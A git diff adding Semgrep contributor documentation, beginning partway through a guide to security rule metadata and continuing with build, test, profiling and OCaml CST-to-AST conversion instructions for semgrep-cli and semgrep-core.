+Indicate how much damage can a vulnerability cause. Use LOW, MEDIUM, and HIGH.
+
+
+##### HIGH
+
+HIGH impact rules can detect extremely damaging vulnerabilities, such as injection vulnerabilities. Examples:
+
+- [`javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection`](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)
+- [`ruby.rails.security.audit.xxe.xml-external-entities-enabled.xml-external-entities-enabled`](https://semgrep.dev/r/ruby.rails.security.audit.xxe.xml-external-entities-enabled.xml-external-entities-enabled)
+
+```yaml
+impact: HIGH
+```
+
+##### MEDIUM
+
+MEDIUM impact rules are issues that are less likely to lead to full system compromise but still are fairly damaging. Examples:
+
+- [`python.flask.security.injection.raw-html-concat.raw-html-format`](https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format)
+- [`python.flask.security.injection.ssrf-requests.ssrf-requests`](https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests)
+
+```yaml
+impact: MEDIUM
+```
+
+##### LOW
+
+LOW impact rules are rules that leverage a security issue, but the impact is not too damaging to the application if discovered.
+
+- [`go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure`](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure)
+- [`javascript.browser.security.raw-html-join.raw-html-join`](https://semgrep.dev/r/javascript.browser.security.raw-html-join.raw-html-join)
+
+```yaml
+impact: LOW
+```
+
+#### References
+
+References help provide more context to a developer on what the issue is, and how to remediate the vulnerability, see examples below:
+
+- A rule that is finding an issue in React: [`typescript.react.security.audit.react-href-var.react-href-var`](https://semgrep.dev/r/typescript.react.security.audit.react-href-var.react-href-var)
+ ```yaml
+ references:
+ - https://reactjs.org/blog/2019/08/08/react-v16.9.0.html#deprecating-javascript-urls
+ ```
+- A rule that is detecting an issue in Express: [`javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection`](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)
+ ```yaml
+ references:
+ - https://sequelize.org/v6/core-concepts/raw-queries/#replacements
+ ```
+
+#### Subcategory
+
+Include a subcategory to explain what is the type of the rule. See the subsections below for more details.
+
+
+
+A vulnerability rule is something that developers certainly want to resolve. For example, an SQL Injection rule that uses taint mode. Example:
+
+- [`javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection`](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)
+
+```yaml
+subcategory:
+ - vuln
+```
+
+##### audit
+
+An audit rule is useful for code auditors. For example, an SQL rule which finds all uses of the `database.exec(...)` that can be problematic. Example:
+
+- [`generic.html-templates.security.unquoted-attribute-var.unquoted-attribute-var`](https://semgrep.dev/r/generic.html-templates.security.unquoted-attribute-var.unquoted-attribute-var)
+
+```yaml
+subcategory:
+ - audit
+```
+
+##### secure default
+
+A secure default rule makes use of inherently secure libraries, frameworks, configurations, or settings. These rules enforce the mitigation of common security concerns, such as preventing cross-site request forgery (CSRF) by properly verifying inbound requests in Django or Flask applications.
+
+A secure default rule must contain remediation that suggests applying a one-time setting that ensures security throughout the codebase without the need for repeated application by developers. For example, configuring a global security setting in a web application framework that applies to all routes and inputs.
+
+```yaml
+subcategory:
+ - secure default
+```
+
+#### Technology
+
+Technology helps to define specific rulesets for languages, libraries, and frameworks that are available in [Semgrep Registry](https://semgrep.dev/explore), for example `express` will be included in the `p/express` ruleset.
+
+- [`javascript.express.security.audit.express-open-redirect.express-open-redirect`](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)
+
+```yaml
+technology:
+ - express
+```
+
+#### Vulnerability class
+
+The vulnerability class defines the category to which a rule and its resulting findings belong. The categories are used to group rules in Semgrep AppSec Platform's **Policies** page to help find similar rules. The category is also displayed on the **Finding Details** pages.
+
+You can provide custom values. Sample values include:
+
+- Active Debug Code
+- Code Injection
+- Command Injection
+- Cookie Security
+- Cross-Site Request Forgery (CSRF)
+- Cross-Site-Scripting (XSS)
+- Cryptographic Issues
+- Dangerous Method or Function
+- Denial-of-Service (DoS)
+- Hard-coded Secrets
+- Improper Authentication
+- Improper Authorization
+- Improper Encoding
+- Improper Validation
+- Insecure Deserialization
+- Insecure Hashing Algorithm
+- Insufficient Logging
+- LDAP Injection
+- Mass Assignment
+- Memory Issues
+- Mishandled Sensitive information
+- Open Redirect
+- Other Security
+- Path Traversal
+- SQL Injection
+- Server-Side Request Forgery (SSRF)
+- XML Injection
+- XPath Injection
+
+## Update existing rules in Semgrep Registry
+
+
+
+Find a rule you want to update in the [semgrep-rules](https://github.com/semgrep/semgrep-rules/) repository.
+
+
+Submit a PR to the repository with your new update.
+
+
+Follow the same instructions and recommendations as you can find in the rest of this document. For example the security category has specific metadata requirements.
+
+
+Leave a message in the PR. Explain why are you making changes. What is the motivation for this update?
+
+
+
+See a [PR example](https://github.com/semgrep/semgrep-rules/pull/2730).
+
+There can be specific messages in the repository’s pipeline informing you about specific details of your rule. Ensure that your rule fulfills all of the necessities and requirements. However, sometimes the pipeline running in the [semgrep-rules](https://github.com/semgrep/semgrep-rules/) repository can have specific issues. In such a case, wait for a Semgrep reviewer's help.
+
+
+[OWASP-DOM-based-XSS-prevention]: https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
diff --git a/mintlify-docs/contributing/contributing.mdx b/mintlify-docs/contributing/contributing.mdx
new file mode 100644
index 0000000000..1526ab11d0
--- /dev/null
+++ b/mintlify-docs/contributing/contributing.mdx
@@ -0,0 +1,20 @@
+---
+title: "Contributing overview"
+description: "Your contributions to Semgrep Community Edition (CE) are welcome!"
+---
+
+To contribute, read and agree with the [Contributor Covenant Code of Conduct](https://github.com/semgrep/semgrep/blob/develop/CODE_OF_CONDUCT.md).
+
+Your contributions can help in various places:
+
+| Contribution | Where to contribute |
+| :--- | :--- |
+| File a Semgrep CE issue. | See the [Semgrep GitHub repository](https://github.com/semgrep/semgrep/issues/new/choose). |
+| Contribute code changes. | Follow the [Contributing code](/contributing/contributing-code) document. Find a task in the [list of good first issues](https://github.com/semgrep/semgrep/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22). |
+| Contribute rules to the Semgrep Registry. | Add new rules through Semgrep AppSec Platform or GitHub. See [Contributing rules](/contributing/contributing-to-semgrep-rules-repository). |
+| Update the documentation you are reading right now! | Create a PR or an issue in the [Documentation repository](https://github.com/semgrep/semgrep-docs). |
+| File an issue for our Semgrep Visual Studio Code extension or help us to improve it. |See the [semgrep-vscode](https://github.com/semgrep/semgrep-vscode) repository. |
+| File an issue for our Semgrep IntelliJ Plugin help us to improve it. |See the [semgrep-intellij](https://github.com/semgrep/semgrep-intellij) repository. |
+| Help others in the community. | Check [Semgrep Community Slack](https://go.semgrep.dev/slack). |
+
+For any contribution to Semgrep code (bug fix or fixed issue, feature), read more about development workflow and testing in the [contribution guidelines](/contributing/contributing-code). For a high-level view of Semgrep’s design principles, see the [Semgrep philosophy](/contributing/contributing-code).
diff --git a/mintlify-docs/contributing/cst-to-ast-tips.mdx b/mintlify-docs/contributing/cst-to-ast-tips.mdx
new file mode 100644
index 0000000000..62a98a607e
--- /dev/null
+++ b/mintlify-docs/contributing/cst-to-ast-tips.mdx
@@ -0,0 +1,193 @@
+---
+title: "Tips for converting CST to AST"
+---
+
+
+Once you have copied the generated `Boilerplate.ml` for your language
+`foo` into `Parse_foo_tree_sitter.ml`, you can start editing it. The
+goal is replace all the calls like `todo env x` by the construction
+of a node of the AST. The destination AST can be a language-specific
+AST or directly the generic AST. If we're mapping to a
+language-specific AST, this language-specific AST needs to be created
+first. The advantage of going through a language-specific AST is more
+visibility into which constructs are valid for the language, compared
+to the generic AST which supports many more constructs.
+
+Besides writing and updating the tree-sitter grammar, this step is
+where the most time will be spent to integrate a language in semgrep.
+This is a collection of tips to make this tedious task somewhat easier.
+
+## Use editor/IDE with good OCaml support
+
+Make sure to set up your editor with a proper ocaml mode, so that you
+can see the inferred type of expressions and get the ability to jump
+to the definitions.
+
+Popular editors include emacs, vim, vscode. They all have their own
+OCaml extension or plugin which relies on merlin.
+
+## Editing the boilerplate
+
+### Study examples
+
+`Parse_foo_tree_sitter.ml` is copied from the generated file
+[`Boilerplate.ml`](https://github.com/semgrep/semgrep-go/blob/main/lib/Boilerplate.ml). The `todo env x` calls are typically replaced by the
+construction of a node of the AST.
+See how it's done for example in [`Parse_go_tree_sitter.ml`](https://github.com/semgrep/semgrep/blob/develop/languages/go/tree-sitter/Parse_go_tree_sitter.ml).
+
+### Learn OCaml basics
+
+CST and AST type definitions make heavy use of algebraic data types to
+accommodate nodes of different kinds under the same type.
+Those are known as variants (e.g. `Expr e`) and
+polymorphic variants in OCaml jargon (e.g. `` `Expr e``).
+
+Parametrized types in OCaml are like generics in languages like Java.
+The OCaml type for a list of ints is denoted `int list`, which would
+be denoted `List` in a Java-like language.
+
+Run `utop` (`opam install utop`) and go over [this tutorial about OCaml
+types at ocaml.org](https://ocaml.org/learn//tutorials/data_types_and_matching.html).
+
+### Preserve structure, assign useful names
+
+Consider this example of typical generated code in `Boilerplate.ml` file:
+
+```ocaml
+let rec anon_choice_type_id_42c0412 (env : env) (x : CST.anon_choice_type_id_42c0412) =
+ match x with
+ | `Id tok -> [ identifier env tok ] (* identifier *)
+ | `Nested_id x -> nested_identifier env x
+```
+
+The name `anon_choice_type_id_42c0412` was generated from an anonymous
+node in the grammar and it's not meaningful. However, it's used in multiple
+spots, which is why it has its own function definition. It occurs for example
+here:
+```ocaml
+ | `Choice_id_opt_type_args (v1, v2) ->
+ let v1 = anon_choice_type_id_42c0412 env v1 in
+ let id = concat_nested_identifier v1 in
+ let _v2 =
+```
+
+Instead, it works better to give it a meaningful name like `id_or_nested_id` as
+follows:
+
+```ocaml
+let rec id_or_nested_id (env : env) (x : CST.anon_choice_type_id_42c0412) =
+ match x with
+ | `Id tok -> [ identifier env tok ] (* identifier *)
+ | `Nested_id x -> nested_identifier env x
+```
+
+and replace it at every point of use. Now, the snippet where it's used
+makes more sense:
+
+```ocaml
+ | `Choice_id_opt_type_args (v1, v2) ->
+ let v1 = id_or_nested_id env v1 in
+ let id = concat_nested_identifier v1 in
+ let _v2 =
+```
+
+Another helpful transformation is to assign a name to every new
+value instead of `v1`, `v2`, etc. The above snippet becomes something like
+
+```ocaml
+ | `Choice_id_opt_type_args (v1, v2) ->
+ let ids = id_or_nested_id env v1 in
+ let id = concat_nested_identifier ids in
+ let type_args =
+```
+
+Note that we're still keeping the original `v1` and `v2`, because it's
+not very useful to find names for them.
+
+Finally, it is very useful to specify the return type of the function
+so as to figure out type errors a lot more easily.
+```ocaml
+let rec id_or_nested_id (env : env) (x : CST.anon_choice_type_id_42c0412) =
+```
+becomes
+```ocaml
+let rec id_or_nested_id (env : env) (x : CST.anon_choice_type_id_42c0412) : ident =
+```
+
+Summary:
+
+* Replace generated function names by something meaningful.
+* Replace `let v1 =` by a meaningful name.
+* Specify the return type of functions that map CST to AST.
+* Preserve the general structure of the generated functions.
+
+This all helps with updating the code when the grammar changes.
+
+## Compile regularly
+
+Compile regularly so as to perform type checking. This is general
+advice for OCaml development. If you're working on a single file, you
+don't need to recompile the project, though. Merlin will take care of
+checking types when you save the file.
+
+The initial template with all the todos should compile successfully,
+but of course will fail at runtime. Type errors produced by the
+compiler can be tricky to understand but it's good to learn how to
+interpret them. Sometimes they're just too long, though.
+
+## Keep the boilerplate structure intact
+
+Leave the original structure in place as much as possible. This is
+important for later when we want to update the grammar and need to
+compare the new boilerplate with the old/edited one.
+
+Add type annotations
+---
+
+The generated boilerplate looks like this, i.e. the return type is left
+unspecified.
+
+```ocaml
+and formal_parameter (env : env) (x : CST.formal_parameter) =
+ ...
+```
+
+The return type will be an AST node determined by the programmer.
+OCaml performs full type inference, so it's not technically required
+to specify a return type.
+However, given the peculiar nature of this exercise, we recommend specifying
+return types. It makes it easier to see expectations and get clear error
+messages when the time comes to upgrade the grammar. A return type annotation
+looks like this:
+
+```ocaml
+and formal_parameter (env : env) (x : CST.formal_parameter) : AST.parameter =
+ ...
+```
+
+## Consult the original `grammar.js`
+
+The original `grammar.js`, or sometimes another javascript file,
+contains the bulk of the original rules for the grammar. This is
+usually a better reference than the generated code.
+
+The generated boilerplate `Boilerplate.ml` is similar to the type definitions
+`CST.ml` which is our interpretation of the original
+`grammar.js`. So, it is useful to consult `CST.ml` as well.
+
+What tends to work well is to keep 4 windows open:
+* `Parse_foo_tree_sitter.ml` (2 windows)
+* `grammar.js`
+* `AST_generic.ml`
+
+The last file `AST_generic.ml` contains the type definitions of the
+AST we're mapping to.
+
+## Extend the generic AST with moderation
+
+Each programming language comes with a few features that other
+languages don't offer, but typically not that many. The generic AST is
+designed to accommodate all the constructs for all the programming
+languages. So, we sometimes have to extend the generic AST with new
+kinds of nodes. We try to do so sparingly, since we try to keep the
+generic AST as simple as possible and it's already very rich.
diff --git a/mintlify-docs/contributing/semgrep-contributing.mdx b/mintlify-docs/contributing/semgrep-contributing.mdx
new file mode 100644
index 0000000000..3953ef296d
--- /dev/null
+++ b/mintlify-docs/contributing/semgrep-contributing.mdx
@@ -0,0 +1,192 @@
+---
+title: "semgrep-cli contributing"
+sidebarTitle: "semgrep contributing"
+---
+
+This article explains how to build `semgrep-cli` so that you can make and test changes to the Python wrapper.
+
+The `semgrep-cli` name refers to the project that exposes the actual `semgrep` command. The README explains the relationship between `semgrep-cli` and `semgrep-core`.
+
+## Prerequisite
+
+- Python >= 3.10 installed in your local machine.
+- [`pipenv`](https://github.com/pypa/pipenv) for managing your virtual
+environment.
+ - Install it by following the `pipenv` [documentation](https://pipenv.pypa.io/en/latest/installation.html).
+ - Ensure that `pipenv` is on your `$PATH` before proceeding.
+
+## Set up the environment
+
+Most Python development is done inside the `cli` directory:
+
+```bash
+cd cli
+```
+
+Next, initialize and enter the virtual environment. The following command installs developer dependencies, such as `pytest`, and installs `semgrep` in editable mode in the virtual environment. From the `cli` directory, run the following command:
+
+```bash
+pipenv shell
+```
+
+By convention, your shell prompt is prepended with `(cli)` when the virtual environment is active.
+
+Next, install the Python dependencies:
+
+```bash
+SEMGREP_SKIP_BIN=true pipenv install --dev
+```
+
+
+**INFO**
+
+`SEMGREP_SKIP_BIN` tells the installer that you'll use your own `semgrep-core`; see below.*
+
+
+Running `which semgrep` should return a path within your virtual environment. On macOS, this is likely contained within `$HOME/.local/share/virtualenvs/`.
+
+## Get the `semgrep-core` binary
+
+Almost all usages of `semgrep-cli` require the `semgrep-core` binary.
+To get the binary, follow the instructions in [Building `semgrep-core`](/contributing/semgrep-core-contributing#build-semgrep-core). It takes approximately 20 minutes.
+
+### Use a precompiled binary
+
+You can use a precompiled binary, but note two downsides:
+
+- You cannot modify `semgrep-core`, for example, to fix a parse error.
+- Semgrep scans fail if the interface between `semgrep-cli` and `semgrep-core` has changed since the binary was compiled. This has happened roughly every two months historically, but can happen at any time without notice.
+
+If you installed Semgrep using Homebrew (with `brew install semgrep`), a `semgrep-core` binary was bundled within that installation. However, it is not made available on your `$PATH` by default.
+
+You can add the bundled binary to your `$PATH` with this series of commands, provided you have `jq` installed:
+
+```bash
+export SEMGREP_BREW_INSTALLED_VERSION="$(brew info --json semgrep | jq '.[0].installed[0].version' -r)"
+export SEMGREP_BREW_INSTALL_PATH="$(brew --cellar semgrep)/${SEMGREP_BREW_INSTALLED_VERSION}"
+export SEMGREP_BREW_PYTHON_PACKAGE_PATH="$(${SEMGREP_BREW_INSTALL_PATH}/libexec/bin/python -m pip list -v | grep '^semgrep\b' | awk '{ print $3 }')"
+export SEMGREP_BREW_CORE_BINARY_PATH="${SEMGREP_BREW_PYTHON_PACKAGE_PATH}/semgrep/bin"
+export PATH="${SEMGREP_BREW_CORE_BINARY_PATH}:${PATH}"
+```
+
+## Run `semgrep-cli`
+
+Ensure that you are in the `cli/` directory, and then issue the following command:
+
+```bash
+pipenv run semgrep --help
+```
+
+To try a simple analysis, run:
+
+```bash
+echo 'if 1 == 1: pass' | semgrep --lang python --pattern '$X == $X' -
+```
+
+You now have Semgrep running locally.
+
+## Install `semgrep`
+
+You can always run `semgrep` from `cli/`, which will use your latest changes in that directory, but you may also want to install the `semgrep` binary. To do this, run
+
+```bash
+pipenv install --dev
+```
+
+If you encounter difficulties, reach out to the [`semgrep` team on Slack](https://go.semgrep.dev/slack).
+
+Now you can run `semgrep --help` from anywhere.
+
+If you have installed `semgrep-core` from source, there are convenient targets in the root Makefile that let you update all binaries. After you pull, run:
+
+```bash
+make rebuild
+```
+
+See the Makefile in `cli/`
+
+## Add Python packages to `semgrep`
+
+Semgrep uses `mypy` to do static type-checking of its Python code. Therefore, when adding a new Python package, you also need to add typing stubs for that package. This can be done in three steps. For example, suppose you are adding the package `pyyaml` to Semgrep.
+
+
+
+Install the corresponding package with typing stubs. For this `pyyaml` example, the corresponding package is `types-pyyaml`. In the following command, `--dev` specifies that this package is needed for development but not in production. This command updates `cli/Pipfile` with the typing stubs package, and adds both the typing stubs and the package itself to your `Pipfile.lock`. This allows you to import the package in your code (for example, `import yaml as pyyaml`).
+
+ ```bash
+ pipenv install --dev types-pyyaml
+ ```
+
+
+Add the typing stubs package to `.pre-commit-config.yaml` so that the pre-commit `mypy` hook can find the package.
+
+ ```yaml
+ - id: mypy
+ additional_dependencies: &mypy-deps
+ - ...
+ - types-PyYAML
+ ```
+
+
+Add the original package to `cli/setup.py` in the `install_requires` list variable. You can find the version number either in the `Pipfile.lock` file or by looking up the most recent major version of the package online.
+
+ ```text
+ install_requires = [
+ ...
+ "pyyaml~=6.0",
+ ]
+ ```
+
+This change makes your package a dependency of published Semgrep. Without this change, if you create a pull request, the CI job called `build docker image` fails with a `ModuleNotFoundError`, indicating it cannot find your package.
+
+
+
+## Troubleshooting
+
+For a reference build that's known to work, consult the root `Dockerfile`
+to build Semgrep inside a container. You can check that it builds with
+
+```bash
+docker build -t semgrep .
+```
+
+## Testing
+
+`semgrep-cli` uses [`pytest`](https://docs.pytest.org/en/latest/) for testing.
+
+To run tests, run the following command:
+
+```bash
+pipenv run pytest
+```
+
+There are some much slower tests that run Semgrep on many open source projects. To run these slow tests, run:
+
+```bash
+pipenv run pytest tests/qa
+```
+
+If you want to update the tests to match the current output:
+
+```bash
+make regenerate-tests
+```
+
+If you want to run a single test file:
+
+```bash
+pipenv run pytest path/to/test.py
+```
+
+Or run an individual test function:
+
+```bash
+pipenv run pytest path/to/test.py::test_func_name
+```
+
+`semgrep-cli` also includes [`pytest-benchmark`](https://pytest-benchmark.readthedocs.io/en/latest/)
+to allow for basic benchmarking functionality. Run the following command:
+
+```bash
+pipenv run pytest --benchmark-only
+```
diff --git a/mintlify-docs/contributing/semgrep-core-contributing.mdx b/mintlify-docs/contributing/semgrep-core-contributing.mdx
new file mode 100644
index 0000000000..ae76cdcb6f
--- /dev/null
+++ b/mintlify-docs/contributing/semgrep-core-contributing.mdx
@@ -0,0 +1,664 @@
+---
+title: "semgrep-core contributing"
+---
+
+The following explains how to build `semgrep-core` so you can make and test changes to the OCaml code. Once you have `semgrep-core` installed, you can refer to [semgrep-contributing](/contributing/semgrep-contributing) to see how to build and run the Semgrep application.
+
+## Build `semgrep-core`
+
+This document assumes you are building on MacOS and have already installed the Homebrew package manager. Installation commands and package names for different OSes may vary slightly.
+
+### Check out the code
+
+Begin by cloning the Semgrep repo from Git. Each parser's tree-sitter code is managed as a separate submodule, so pass `--recurse-submodules` to ensure they are cloned as well.
+
+```bash
+git clone --recurse-submodules https://github.com/semgrep/semgrep
+cd semgrep
+```
+
+If you have already cloned without submodules, you can check them out as a second separate step from the root of the repository:
+
+```bash
+git submodule update --init --recursive
+```
+
+### Prerequisites
+
+
+`semgrep-core` is written primarily in OCaml. You must [install OCaml](https://opam.ocaml.org/doc/Install.html) and its package manager OPAM, and pin the current compiler version. On MacOS, it is done through the following steps:
+
+```bash
+brew install opam
+opam init
+opam switch create semgrep 5.3.0
+eval $(opam env)
+```
+
+Next, install some base packages required for setup and compilation.
+
+```bash
+brew install pkg-config bash
+```
+
+Lastly, you will almost certainly want the Python environment for `semgrep-cli`
+configured before proceeding. Please refer to the [Set up the environment](/contributing/semgrep-contributing#set-up-the-environment) documentation.
+
+Once you've returned here, ensure that your shell is able to enter the Python
+virtual environment.
+
+```bash
+cd cli; pipenv shell # enter the virtual environment
+cd .. # from within the virtual environment, return to the repo root
+```
+
+### First-time installation
+
+The root `Makefile` contains targets that take care of building the
+right things. It is commented. Please refer to it and keep it
+up-to-date.
+
+To install all necessary dependencies, run
+
+```bash
+make setup
+```
+
+Next, to install `semgrep-core`, run
+
+```bash
+make core
+```
+
+Finally, test the installation with
+
+```bash
+bin/semgrep-core -help
+```
+
+If you would like to finish the Semgrep installation, return to the
+[Python-side instructions](/contributing/semgrep-contributing).
+
+### Rebuild after a change
+
+Unless there is a significant dependency change, you won't need to run `make dev-setup` again.
+
+The Semgrep team has provided useful targets to help you build and link the entire semgrep project, including both `semgrep-core` and `semgrep`. You may find these helpful.
+
+To install the latest OCaml binaries and `semgrep` binary after pulling source code changes from Git, run:
+
+```bash
+make rebuild
+```
+
+To install after you make a change locally, run
+
+```bash
+make build # or just `make`
+```
+
+After making either of these targets, `semgrep` runs with all your local changes, OCaml and Python both.
+
+```
+Because this updates the `semgrep` binary, if you do not have your Python environment configured properly, you will encounter errors when running these commands. Follow the procedure under [Development](#development)
+```
+
+## Development
+
+In practice, it is not always convenient to use `make build` or `make rebuild`. `make rebuild` will update everything within the project; `make build` will compile and install all the binaries. You can do this yourself in a more targeted fashion.
+
+Below is a flow appropriate for frequent developers of `semgrep-core`
+
+After you pull, run
+
+```bash
+git submodule update --recursive
+```
+
+This will update internal dependencies. (We suggest aliasing it to `uu`)
+
+After `tree-sitter` is updated, you may need to reconfigure it. If so, run
+
+```bash
+make config
+```
+
+### Develop `semgrep-core`
+
+If you are developing `semgrep-core`, Use `Makefile` in the repository root for `core` and `core-test` targets; the code is primarily in `src/`.
+
+The following assumes you are in the repository root.
+
+After you pull or make a change, compile using
+
+```bash
+make
+```
+
+This will build an executable for `semgrep-core` in `_build/default/src/main/Main.exe` (we suggest aliasing this to `sc`). Try it out by running
+
+```bash
+_build/default/src/main/Main.exe -help
+```
+
+When you are done, test your changes with
+
+```bash
+make core-test
+```
+
+Finally, to update the `semgrep-core` binary used by `semgrep`, run
+
+```bash
+make copy-core-for-cli
+```
+
+### Test `semgrep-core`
+
+`make test` in the repository root directory will run tests that check code is correctly parsed
+and patterns perform as expected. To add a test in an appropriate language subdirectory, `tests/patterns/[LANG]`, create a target file (expected file extension given language) and a .sgrep file with a pattern. The testing suite will check that all places with a comment with `ERROR` were matches found by the .sgrep file. See existing tests for more clarity.
+
+If you are diagnosing test failures, it is time-consuming to re-run the entire test suite.
+`make retest` will only re-run tests that failed.
+
+### Development environment
+
+OCaml installations include a language server that most modern editors like
+Neovim and Emacs support out of the box.
+
+You can also use Visual Studio Code \(vscode\) to edit the code of Semgrep. The [reason-vscode](https://marketplace.visualstudio.com/items?itemName=jaredly.reason-vscode) Marketplace extension adds support for OCaml/Reason.
+
+The [OCaml and Reason IDE extension](https://github.com/reasonml-editor/vscode-reasonml) by @freebroccolo is another valid extension, but it seems not as actively maintained as reason-vscode.
+
+The source of Semgrep contains also a .vscode/ directory at its root containing a task file to automatically build Semgrep from vscode.
+
+Note that dune and ocamlmerlin must be in your PATH for vscode to correctly build and provide cross-reference on the code. In case of problems, do:
+
+```bash
+cd /path/to/semgrep
+eval $(opam env)
+dune --version # just checking dune is in your PATH
+ocamlmerlin -version # just checking ocamlmerlin is in your PATH
+code .
+```
+
+## Test Semgrep performance
+
+### Explore results from a slow run of Semgrep
+
+#### Interpret the result object
+
+For full timing information, run Semgrep with `--time` and `--json` flags. In addition, you can add `time` at the beginning of the command to get the true wall time. The `--json` argument produces a large amount of output, so redirecting the output to a file with `-o` is recommended.
+
+See the following example for the full command:
+
+```bash
+time semgrep --config=auto --time --json -o result.json PATH/TO/SRC
+```
+
+Substitute the optional placeholder `PATH/TO/SRC` with the path to your source code.
+
+Here is an example result object.
+
+```json expandable
+ { "results": [],
+ "paths": {},
+ "errors": [],
+ "time": {
+ "max_memory_bytes": 48693248,
+ "profiling_times": {
+ "config_time": 0.0624239444732666,
+ "core_time": 0.11341428756713867,
+ "ignores_time": 0.00017690658569335938,
+ "total_time": 0.17628788948059082
+ },
+ "rules": [
+ {
+ "id": "test-rule"
+ }
+ ],
+ "rules_parse_time": 0.0013418197631835938,
+ "targets": [
+ {
+ "match_times": [
+ 5.9604644775390625e-06
+ ],
+ "num_bytes": 340,
+ "parse_times": [
+ 0.0071868896484375
+ ],
+ "path": "test_functions.java",
+ "run_time": 0.011521100997924805
+ }
+ ],
+ "total_bytes": 340
+ }
+}
+```
+
+All the information about timing is contained under `time`.
+
+The first section is `profiling_times`. This contains wall time durations of various relevant steps:
+* Getting the rule config files (`config_time`)
+* Running the main engine (`core_time`)
+* Processing the ignores (`ignores_time`)
+
+The `total_time` field represents the sum of these steps.
+
+The remaining fields report engine performance. Together, `rule_parse_time` and `targets` should capture all the time spent running `semgrep-core`.
+
+`rule_parse_time` is straightforward. It records the time spent parsing the rules file.
+
+`targets` poses more difficulty. Since files are run in parallel, the amount of time spent parsing (`parse_times`) and matching (`match_times`) will inevitably be meaningless compared against `total_time` or `core_time`. Therefore, the total run time (`run_time`) of each target for each rule is taken within the parallel run. This helps contextualize the time spent parsing and matching each target. The sum of the run times thus can (and usually should) be longer than the total time.
+
+The lists `match_times` and `parse_times` are in the same order as `rules`. That is, the match time of rule `rules[0]` is `match_times[0]`.
+
+Note that `parse_times` is given for each rule, but a file should only be parsed once (the first number). Afterwards, the parse time represents the time spent retrieving the file's AST from the cache.
+
+#### Negative values in the metrics
+
+When a time is not measured, by default it has the value -1. It is common to a have a normal runtime, but -1 for the parse time or match time; this indicates an error in parsing.
+
+#### Tips for exploring Semgrep results
+
+There are several scripts already written to analyze and summarize these timing data. Find them in [`scripts/processing-output`](https://github.com/semgrep/semgrep/tree/develop/scripts/processing-output). If you have a timing file, you can run
+
+```bash
+python read_timing.py [your_timing_file]
+```
+
+You may need to adjust the line `result_times = results` based on whether you have a timing file or the full results (in which case this should be `result_times = results["time"]`)
+
+### Profile code
+
+You can pass the -profile command-line argument to semgrep-core to get
+a short profile of the code. For example, running:
+
+```bash
+cd semgrep-core
+./bin/semgrep-core -profile -e foo tests/python
+```
+will output:
+
+```bash
+---------------------
+profiling result
+---------------------
+Main total : 1.975 sec 1 count
+Parse_python.parse : 0.828 sec 1 count
+...
+```
+
+You can also instead set the environment variable SEMGREP_CORE_PROFILE to 1 to get the same information:
+
+```bash
+cd semgrep-core
+export SEMGREP_CORE_PROFILE=1
+./bin/semgrep-core -e foo tests/python
+```
+will output:
+```bash
+---------------------
+profiling result
+---------------------
+Main total : 1.975 sec 1 count
+Parse_python.parse : 0.828 sec 1 count
+...
+```
+
+This is especially useful when you don't call directly semgrep-core, but
+instead use the python wrapper semgrep.
+
+Note that since semgrep 0.82, you can pass the `--dump-command-for-core` (or the shorter `-d`) to `semgrep` to get the command the python wrapper will use to call semgrep-core (this is an hidden option, which is why you will not see it in `semgrep --help`). For example:
+
+```bash
+semgrep --dump-command-for-core --config bench/zulip/input/rules/zulip/rules.zulip.semgrep.yml.yaml bench/zulip/input/zulip/
+```
+will output:
+```bash
+Running 10 rules...
+/home/pad/github/semgrep/cli/src/semgrep/bin/semgrep-core -json -rules semgrep_rules.yaml -j 20 -targets semgrep_targets.txt -timeout 30 -timeout_threshold 0 -max_memory 0 -json_time -fast
+```
+
+where `semgrep_rules.yaml` and `semgrep_targets.txt` are files created by `semgrep` that respectively contain the list of rules and targets. It is easy then to copy-paste this command and possibly add a `-profile` or `-debug` to get more information.
+
+
+You can also use the SEMGREP_CORE_DEBUG environment variable to add debugging
+information, for example:
+
+```bash
+export SEMGREP_CORE_DEBUG=1
+export SEMGREP_CORE_PROFILE=1
+pipenv run semgrep -f ../semgrep-core/tests/PERF/ajin.yaml ../semgrep-core/tests/PERF/three.js
+```
+will output:
+```bash
+Debug mode On
+Executed as: semgrep-core -lang javascript -rules_file /tmp/tmpy5pzp3p_ -j 8 ../semgrep-core/tests/PERF/three.js
+Profile mode On
+disabling -j when in profiling mode
+PARSING: ../semgrep-core/tests/PERF/three.js
+saving rules file for debugging in: /tmp/semgrep_core_rule-97ae74.yaml
+---------------------
+profiling result
+---------------------
+Main total : 1.975 sec 1 count
+Parse_js.parse : 0.828 sec 1 count
+Semgrep.check : 0.791 sec 1 count
+Semgrep.match_sts_sts : 0.559 sec 185064 count
+...
+```
+
+### Benchmark code
+
+We have two sets of benchmarks, one on a suite of real repositories against real rulesets (real benchmarks), another that highlights specific slow (rule, file) pairs (micro benchmarks).
+
+To run the micro benchmarks, go to `perf/perf-matching/`, and run `./run-perf-suite`.
+
+To run the real benchmarks, go to `perf`, and run `./run-benchmarks`. See the perf [readme](https://github.com/semgrep/semgrep/blob/develop/perf/README.md) for more details on how these are set up.
+
+There are a number of flags (`./run-benchmarks --help` to see them) which may be helpful if you are using the benchmarks for local development. For example, `./run-benchmarks --plot_benchmarks` will output a graph of the benchmark results at the end.
+
+If you are concerned about performance, the recommended way to test is to hide your change behind a flag and add that flag to run-benchmarks. Add a flag in `src/configuring/Flag_semgrep.ml`. These are ref cells, so you can check whether the flag is enabled or not via `!Flag_semgrep.your_flag`. In `src/core_cli/Core_CLI.ml`, go to options, and add a flag that sets the appropriate `Flag_semgrep`. Then, in `perf/run-benchmarks`, go to the `SemgrepVariants` list, and add your variant.
+
